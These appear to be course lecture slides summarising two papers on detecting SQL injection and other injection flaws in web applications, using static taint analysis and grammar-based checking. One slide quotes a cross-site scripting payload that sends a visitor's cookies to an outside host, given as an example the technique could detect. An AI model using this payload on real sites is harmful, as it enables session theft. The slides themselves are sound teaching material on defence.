Program Analysis for Web Application Security

Presented by Justin Samuel
For UW CSE 504, Spring ‘10
Instructor: Ben Livshits
Finding Security Vulnerabilities in Java Applications with Static Analysis

V. Benjamin Livshits and Monica S. Lam

Usenix Security ‘05
## Unchecked User Input

<table>
<thead>
<tr>
<th><strong>Input Sources</strong></th>
<th><strong>Vulnerabilities</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Parameter manipulation</td>
<td>SQL Injection</td>
</tr>
<tr>
<td>URL manipulation</td>
<td>HTTP response splitting</td>
</tr>
<tr>
<td>Header manipulation</td>
<td>Cross-site scripting</td>
</tr>
<tr>
<td>Cookie poisoning</td>
<td>Path traversal</td>
</tr>
<tr>
<td></td>
<td>Command injection</td>
</tr>
</tbody>
</table>

When input is not properly sanitized before use, a variety of vulnerabilities are possible.
Detecting Unchecked Input Statically

• Goal: use static analysis to identify missing input sanitization.
  – We’ll call use of unchecked input “security violations.”

• Can we use existing points-to analysis?
  – Sound, precise, and scalable?

• Is points-to analysis all we need?
Background: Points-to Analysis

• Determine which heap objects a given program variable may point to during execution.

• Desirable qualities:
  – Soundness
    • No false negatives: every possible points-to relationship is identified.
    • Being conservative leads to imprecision.
  – Precision
    • Few false positives.
  – Efficiency
    • Speed of analysis can be a problem.
Points-to Precision Problem

- An imprecise points-to analysis would not differentiate between possible objects referred to by s1 and s2.

```java
class DataSource {
    String url;
    DataSource(String url) {
        this.url = url;
    }
    String getUrl() {
        return this.url;
    }
    ...
}
String passedUrl = request.getParameter("...");
DataSource ds1 = new DataSource(passedUrl);
String localUrl = "http://localhost/";
DataSource ds2 = new DataSource(localUrl);
String s1 = ds1.getUrl();
String s2 = ds2.getUrl();
```
Imprecision From Context-Insensitivity

Object id( Object p ) {
    return p;
}

x = id( a );
y = id( b );

pointsto( v : Var, h : Heap )
Context-Sensitive

Object id( Object p ) {
    return p;
}

x = id( a );
y = id( b );

pointsto( vc : VarContext, v : Var, h : Heap )
Context-sensitivity and Cloning

• The context of a method invocation is distinguished by its call path (call stack).
• $k$-CFA (Control Flow Analysis): remember only the last $k$ call sites.
• Use cloning. [Whaley, PLDI 04]
  – Generate multiple instances of a method so that each call is invoking a different instance.
  – $\infty$-CFA when there is no recursion.
  – Does cloning sound familiar? KLEE?
Scalability of Context-Sensitivity

• Exponentially many points-to results.
• Use Binary Decision Diagrams (BDDs) for solving points-to analysis [Berndl, PLDI ‘03]

• Use BDD-Based Deductive DataBase (bddbddd) [Whaley & Lam, PLDI ‘04]
  – Express pointer analysis in Datalog (logic programming language).
  – Translate Datalog into efficient BDD implementations.
Imprecision From Object-Insensitivity

```java
x = new Foo();
y = new Foo();
a = new Bar();
b = new Bar();
x.v = a;
y.v = b;
```

Note: this is actually showing field sensitivity, not object sensitivity.

`pointsto( v : Var, h : Heap )`
Object-Sensitivity

x = new Foo();
y = new Foo();
a = new Bar();
b = new Bar();

x.v = a;
y.v = b;

Note: this is actually showing field sensitivity, not object sensitivity.

pointsto( vo : Heap, v : Var, h : Heap )
Imprecision From Maps/Collections

• Maps with constant strings are common.

```java
HashMap map = new HashMap();

String x = req.getParam("x");
map.put("NAME", x);

String t = "boss";
map.put("TITLE", t);

String y = map.get("TITLE");
```
Map-sensitivity

HashMap map = new HashMap();

String x = req.getParam("x");
map.put("NAME", x);

String t = "boss";
map.put("TITLE", t);

String y = map.get("TITLE");

• Model HashMap.put/get operations specially.
Flow-Sensitivity

• Flow-sensitive analysis computes a different solution for each point in the program.

• Common difficulties:
  – Strong updates difficult, thus weak updates used.
    • Is this a problem for functional languages?
  – Efficiency.

• Approach: use only local flow (within methods).
Putting It Together

• Object-sensitivity + Context-sensitivity gives the following relation:

\[
\text{pointsto}( \text{vc} : \text{VarContext}, \text{vo} : \text{Heap}, \text{v} : \text{Var}, \text{h} : \text{Heap} )
\]

• Plus map-sensitivity and special handling of Java string routines.

• “1-level object-sensitivity” (?) [Livshits slides]:

\[
\text{pointsto}( \text{vc} : \text{VarContext}, \text{vo}_1 : \text{Heap}, \text{vo}_2 : \text{Heap}, \text{v} : \text{Var}, \text{ho} : \text{Heap}, \text{h} : \text{Heap} )
\]
Points-to Analysis and We’re Done?

1. String param = req.getParameter("user");
2. ...
3. String query = param;
4. ...
5. con.executeQuery(query);

- Points-to analysis gives us static knowledge of what an object refers to at runtime.
- To find missing input checks, we still need to identify objects sources and sinks.
Use PQL for Taint Analysis

- Same PQL that we saw a few weeks ago.
- Specify sources, derivations, and sinks.

```java
query source()
returns
  object Object sourceObj;
uses
  object String[] sourceArray;
  object HttpServletRequest req;
matches {
  sourceObj = req.getParameter(_),
  sourceObj = req.getHeader(_),
  sourceArray = req.getParameterValues(_),
  sourceObj = sourceArray[_]
}

query sink()
returns
  object Object sinkObj;
uses
  object java.sql.Statement stmt;
  object java.sql.Connection con;
matches {
  stmt.executeQuery(sinkObj),
  stmt.executeUpdate(sinkObj),
  con.prepareStatement(sinkObj),
  ...
}

query derived(object Object x)
returns
  object Object y;
matches {
  y.append(x),
  y = __.append(x),
  y = new String(x),
  y = new StringBuffer(x),
  y = x.toString(),
  y = x.substring(_, _),
  y = x.toString(_),
  ...
}
Integration with Eclipse
Vulnerabilities Discovered

• Discovered 23 vulnerabilities in real applications.
  – Only 1 was already known.
  – 1 found in library (hibernate), another in J2EE implementation.
    • 4 of the 23 are the same J2EE implementation error.
  – “Almost all errors we reported to program maintainers were confirmed.”
  – Also found 6 vulnerabilities in webgoat.

• 12 false positives.
  – All in one app (snipsnap) due to insufficient precision of object-naming.

<table>
<thead>
<tr>
<th></th>
<th>SQL injections</th>
<th>HTTP splitting</th>
<th>XSS</th>
<th>Path traversal</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td>Header manip.</td>
<td>0</td>
<td>6</td>
<td>3</td>
<td>0</td>
<td>9</td>
</tr>
<tr>
<td>Param. manip.</td>
<td>2</td>
<td>5</td>
<td>0</td>
<td>2</td>
<td>9</td>
</tr>
<tr>
<td>Cookie poison</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>Non-Web input</td>
<td>2</td>
<td>0</td>
<td>0</td>
<td>3</td>
<td>5</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>4</strong></td>
<td><strong>11</strong></td>
<td><strong>3</strong></td>
<td><strong>5</strong></td>
<td><strong>23</strong></td>
</tr>
</tbody>
</table>
Evaluation Summary

<table>
<thead>
<tr>
<th>Context sensitivity</th>
<th>Sources</th>
<th>Sinks</th>
<th>Tainted objects</th>
<th>Reported warnings</th>
<th>False positives</th>
<th>Errors</th>
</tr>
</thead>
<tbody>
<tr>
<td>Improved object naming</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
</tr>
<tr>
<td>jboard</td>
<td>1</td>
<td>6</td>
<td>268</td>
<td>2</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>blueblog</td>
<td>6</td>
<td>12</td>
<td>17</td>
<td>1</td>
<td>1</td>
<td>0</td>
</tr>
<tr>
<td>webgoat</td>
<td>13</td>
<td>59</td>
<td>1,166</td>
<td>903</td>
<td>51</td>
<td>45</td>
</tr>
<tr>
<td>blojsom</td>
<td>27</td>
<td>18</td>
<td>368</td>
<td>197</td>
<td>48</td>
<td>46</td>
</tr>
<tr>
<td>personalblog</td>
<td>25</td>
<td>31</td>
<td>2,066</td>
<td>1,685</td>
<td>460</td>
<td>458</td>
</tr>
<tr>
<td>snipsnap</td>
<td>155</td>
<td>100</td>
<td>1,168</td>
<td>897</td>
<td>732</td>
<td>717</td>
</tr>
<tr>
<td>road2hibernate</td>
<td>1</td>
<td>33</td>
<td>2,150</td>
<td>1,641</td>
<td>18</td>
<td>17</td>
</tr>
<tr>
<td>pebble</td>
<td>132</td>
<td>70</td>
<td>1,403</td>
<td>957</td>
<td>427</td>
<td>426</td>
</tr>
<tr>
<td>roller</td>
<td>32</td>
<td>64</td>
<td>2,367</td>
<td>1,923</td>
<td>378</td>
<td>377</td>
</tr>
<tr>
<td><strong>Total</strong></td>
<td><strong>392</strong></td>
<td><strong>393</strong></td>
<td><strong>10,973</strong></td>
<td><strong>8,222</strong></td>
<td><strong>2,115</strong></td>
<td><strong>2,086</strong></td>
</tr>
</tbody>
</table>

Summary of data on the number of tainted objects, reported security violations, and false positives for each analysis version.

Enabled analysis features are indicated by checkmarks.
Number of Tainted Objects

Comparison of the number of tainted objects for each version of the analysis.

![Bar Chart Image]
## Timing Evaluation

<table>
<thead>
<tr>
<th>Context sensitivity Improved naming</th>
<th>Pre-processing</th>
<th>Points-to analysis</th>
<th>Taint analysis</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>✓ ✓ ✓</td>
<td>✓ ✓ ✓</td>
</tr>
<tr>
<td>jboard</td>
<td>37</td>
<td>8 7 12 10</td>
<td>14 12 16 14</td>
</tr>
<tr>
<td>blueblog</td>
<td>39</td>
<td>13 8 15 10</td>
<td>17 14 21 16</td>
</tr>
<tr>
<td>webgoat</td>
<td>57</td>
<td>45 30 118 90</td>
<td>69 66 106 101</td>
</tr>
<tr>
<td>blojsom</td>
<td>60</td>
<td>18 13 25 16</td>
<td>24 21 30 27</td>
</tr>
<tr>
<td>personalblog</td>
<td>173</td>
<td>107 28 303 32</td>
<td>62 50 19 59</td>
</tr>
<tr>
<td>snipsnap</td>
<td>193</td>
<td>58 33 142 47</td>
<td>194 154 160 105</td>
</tr>
<tr>
<td>road2hibernate</td>
<td>247</td>
<td>186 40 268 43</td>
<td>73 44 161 58</td>
</tr>
<tr>
<td>pebble</td>
<td>177</td>
<td>58 35 117 49</td>
<td>150 140 136 100</td>
</tr>
<tr>
<td>roller</td>
<td>362</td>
<td>226 55 733 103</td>
<td>196 83 338 129</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>File count</th>
<th>Line count</th>
<th>Analyzed classes</th>
</tr>
</thead>
<tbody>
<tr>
<td>90</td>
<td>17,542</td>
<td>264</td>
</tr>
<tr>
<td>32</td>
<td>4,191</td>
<td>306</td>
</tr>
<tr>
<td>77</td>
<td>19,440</td>
<td>349</td>
</tr>
<tr>
<td>61</td>
<td>14,448</td>
<td>428</td>
</tr>
<tr>
<td>39</td>
<td>5,591</td>
<td>611</td>
</tr>
<tr>
<td>445</td>
<td>36,745</td>
<td>653</td>
</tr>
<tr>
<td>2</td>
<td>140</td>
<td>867</td>
</tr>
<tr>
<td>333</td>
<td>36,544</td>
<td>889</td>
</tr>
<tr>
<td>276</td>
<td>52,089</td>
<td>989</td>
</tr>
</tbody>
</table>

### Figure 9: Summary of times, in seconds, it takes to perform pre-processing, points-to, and taint analysis for each analysis variation. Analysis variations have either context sensitivity or improved object naming enabled, as indicated by ✓ signs in the header row.
Limitations

- Dynamic class loading and generation.
- Reflectively called classes.
  - For reflective calls, a simple analysis is used that handles common uses of reflection.
Essence of Command Injection Attacks

Zhendong Su and Gary Wassermann

POPL ‘06
Taint Analysis is Not Sufficient

• Sanitization of user input can be inaccurate.
• Checked input is not always safe.
  – Inaccurate checking may allow it to alter the structure of commands constructed from the string.
Figure 4. Parse trees for WHERE clauses of generated queries. Substrings from user input are underlined.
Modify Input, Use a New Grammar

• Define an augmented grammar with additional production rules using new delimiters:

```
num^a ::= num
      | ( num )

lit^a ::= lit
      | ( lit )

str_lit ::= lit^a
```

• Add the delimiters around all user input.
• Make sure commands parse correctly with the new grammar before stripping delimiters and running the real command.
Applicable Beyond SQL Injection

• The idea is “general and appl[ies] to other settings that generate structured, meaningful output from user-provided input.”
  – Cross-Site Scripting (XSS)
  – XPath injection
  – Shell injection
Cross Site Scripting

• The following attack input could be detected:

```html
<script>document.location='http://www.xss.com/cgi-bin/cookie.cgi?'%20+document.cookie</script>
```

– It is “…not a valid syntactic form, since the first character completes a preceding tag.”

• What grammar does one augment?
  – XSS can be within HTML or JavaScript.
  – Can this input be XSS and what syntax would it violate?
    ```javascript
    javascript:document.location=...
    ```
Evaluation

<table>
<thead>
<tr>
<th>Subject</th>
<th>Description</th>
<th>LOC</th>
<th>Query Checks Added</th>
<th>Query Sites</th>
<th>Metachar Pairs Added</th>
<th>External Query Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>Employee Directory</td>
<td>Online employee directory</td>
<td>2,801</td>
<td>5</td>
<td>16</td>
<td>4</td>
<td>39</td>
</tr>
<tr>
<td>Events</td>
<td>Event tracking system</td>
<td>2,819</td>
<td>7</td>
<td>20</td>
<td>4</td>
<td>47</td>
</tr>
<tr>
<td>Classifieds</td>
<td>Online management system for classifieds</td>
<td>5,540</td>
<td>10</td>
<td>41</td>
<td>4</td>
<td>67</td>
</tr>
<tr>
<td>Portal</td>
<td>Portal for a club</td>
<td>8,745</td>
<td>13</td>
<td>42</td>
<td>7</td>
<td>149</td>
</tr>
<tr>
<td>Bookstore</td>
<td>Online bookstore</td>
<td>9,224</td>
<td>18</td>
<td>56</td>
<td>9</td>
<td>121</td>
</tr>
</tbody>
</table>

Table 1. Subject programs used in our empirical evaluation.

<table>
<thead>
<tr>
<th>Language</th>
<th>Subject</th>
<th>Legitimate Queries (Attempted/allowed)</th>
<th>Attacks (Attempted/prevented)</th>
<th>Timing (ms)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>Mean</td>
<td>Std Dev</td>
<td></td>
</tr>
<tr>
<td>PHP</td>
<td>Employee Directory</td>
<td>660 / 660</td>
<td>3937 / 3937</td>
<td>3.230</td>
</tr>
<tr>
<td></td>
<td>Events</td>
<td>900 / 900</td>
<td>3605 / 3605</td>
<td>2.613</td>
</tr>
<tr>
<td></td>
<td>Classifieds</td>
<td>576 / 576</td>
<td>3724 / 3724</td>
<td>2.478</td>
</tr>
<tr>
<td></td>
<td>Portal</td>
<td>1080 / 1080</td>
<td>3685 / 3685</td>
<td>3.788</td>
</tr>
<tr>
<td></td>
<td>Bookstore</td>
<td>608 / 608</td>
<td>3473 / 3473</td>
<td>2.806</td>
</tr>
<tr>
<td>JSP</td>
<td>Employee Directory</td>
<td>660 / 660</td>
<td>3937 / 3937</td>
<td>3.186</td>
</tr>
<tr>
<td></td>
<td>Events</td>
<td>900 / 900</td>
<td>3605 / 3605</td>
<td>3.368</td>
</tr>
<tr>
<td></td>
<td>Classifieds</td>
<td>576 / 576</td>
<td>3724 / 3724</td>
<td>3.134</td>
</tr>
<tr>
<td></td>
<td>Portal</td>
<td>1080 / 1080</td>
<td>3685 / 3685</td>
<td>3.063</td>
</tr>
<tr>
<td></td>
<td>Bookstore</td>
<td>608 / 608</td>
<td>3473 / 3473</td>
<td>2.897</td>
</tr>
</tbody>
</table>

Table 2. Precision and timing results for SQLCHECK.
According to the Authors

• PQL trusts user filters, so it does not provide strong security guarantees.

• SQLCheck (their system) does not address completeness.

• They intend to look at static analysis to instrument code without requiring it all to be done **manually**.
Summary

• Livshits and Lam, ‘05
  – Improve existing points-to analysis.
  – Use PQL for taint specification and analysis.
  – Combine into a working Eclipse plugin.
  – Found previously unknown vulnerabilities in real applications.

• Su and Wasserman, ‘06
  – Formal definition of command injection attacks.
  – Write a grammar for structured output and see if the user input changes the structure.
  – Manually modify all places where input enters code and where commands are executed.
  – Prevented known SQL injection vulnerabilities in their own tests.
References and Related Work

• “Points-to Analysis using BDDs.” Marc Berndl, Ondrej Lhotak, Feng Qian, Laurie Hendren and Navindra Umane. PLDI 2003.
• “Pointer Analysis: Haven't We Solved This Problem Yet.” Michael Hind. PASTE 2001.